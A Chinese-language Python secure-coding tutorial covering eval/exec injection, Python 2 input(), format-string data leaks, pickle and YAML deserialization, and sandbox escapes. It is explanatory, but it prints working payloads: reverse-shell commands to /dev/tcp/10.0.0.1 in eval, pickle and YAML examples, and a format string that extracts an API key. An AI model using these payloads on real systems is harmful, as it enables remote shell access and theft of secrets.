Python编程安全

1.危险函数

在Python中，一些函数如果不当使用，可能会导致严重的安全问题。以下是三个常见的危险函数及其潜在风险：

1.1 eval

eval 函数能够将字符串作为代码执行，这使得它非常危险。攻击者可以通过构造恶意字符串，绕过身份验证或执行恶意操作。

示例：

eval('1+1')  # 返回 2

def addition(a, b):
    return eval("%s + %s" % (a, b))
result = addition(request.json['a'], request.json['b'])

{
    "a": "__import__('os').system('bash -i > /dev/tcp/10.0.0.1/8080 0>&1')#",
    "b": "2"
}

上述输入会通过 os.system() 调用，绑定一个反向 shell。

1.2 exec

exec 函数与 eval 类似，直接执行字符串代码，同样存在严重安全隐患。

示例：

def addition(a, b):
    return exec("%s + %s" % (a, b))

1.3 input

在 Python 2 中，input() 函数可以直接读取用户输入，且不进行任何类型验证。攻击者可以通过构造输入，绕过认证或导致其他安全问题。

示例：

user_pass = get_user_pass("admin")
if user_pass == input("Please enter your password"):
    login()
else:
    print("Password is incorrect!")

攻击者可以输入 user_pass 作为变量名，导致 if user_pass == user_pass 为真，伪造认证。

2.字符串格式化

str.format() 和 format() 函数可以通过构造格式字符串，访问程序内的私有数据或执行恶意操作。

示例：

CONFIG = {
    "API_KEY": "xxxxxxxxxxxxxxxxxxxxx"
}
class Person(object):
    def __init__(self, name):
        self.name = name
def print_nametag(format_string, person):
    return format_string.format(person=person)
new_person = Person("Pxiaoer")
print_nametag(input("Please format your nametag!"), new_person)

print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)

上述代码会泄露 API_KEY。

3.反序列化

3.1 Pickle

Pickle 是 Python 的序列化工具，但由于它不提供加密或验证机制，反序列化可以导致身份验证绕过或代码执行。

示例：

class Malicious:
    def __reduce__(self):
        return (os.system, ('bash -i > /dev/tcp/10.0.0.1/8080 0>&1',))
fake_object = Malicious()
session_cookie = base64.b64encode(pickle.dumps(fake_object))

反序列化时会执行 os.system，绑定一个反向 shell。

3.2 YAML 解析

YAML 解析也存在安全隐患，攻击者可以构造恶意 YAML 文件，绕过访问控制或执行代码。

示例：

!!python/object/apply:os.system ["bash -i > /dev/tcp/10.0.0.1/8080 0>&1"]

4.沙箱逃逸

在受限的沙箱环境中，攻击者可以通过调用特定函数（如 os.system, subprocess.call 等）获取更多权限。

示例：

import os
import subprocess
import commands
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'], shell=True)

攻击者可以通过这些函数直接执行 shell 命令。